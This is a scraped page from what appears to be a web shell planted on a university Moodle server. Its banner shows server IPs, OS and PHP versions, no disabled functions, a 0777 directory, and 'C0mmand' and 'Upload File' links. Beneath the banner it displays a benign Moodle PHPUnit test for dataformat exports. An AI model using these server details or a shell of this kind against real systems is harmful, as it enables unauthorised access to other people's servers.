Server IP : 103.11.96.170 / Your IP : 18.116.28.60 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/lms/lib/tests/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests for the dataformat plugins * * @package core * @copyright 2020 Paul Holden <paulh@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core; use core_component; use core\dataformat; /** * Dataformat tests * * @package core * @copyright 2020 Paul Holden <paulh@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class dataformat_testcase extends \advanced_testcase { /** * Data provider for {@see test_write_data) * * @return array */ public function write_data_provider(): array { $data = []; $dataformats = core_component::get_plugin_list('dataformat'); foreach ($dataformats as $dataformat => $unused) { $data[] = [$dataformat]; } return $data; } /** * Test writing dataformat export to local file * * @param string $dataformat * @return void * * @dataProvider write_data_provider */ public function test_write_data(string $dataformat): void { $columns = ['fruit', 'colour', 'animal']; $rows = [ ['banana', 'yellow', 'monkey'], ['apple', 'red', 'wolf'], ['melon', 'green', 'aardvark'], ]; // Export to file. Assert that the exported file exists and is non-zero in size. $exportfile = dataformat::write_data('My export', $dataformat, $columns, $rows); $this->assertFileExists($exportfile); $this->assertGreaterThan(0, filesize($exportfile)); } }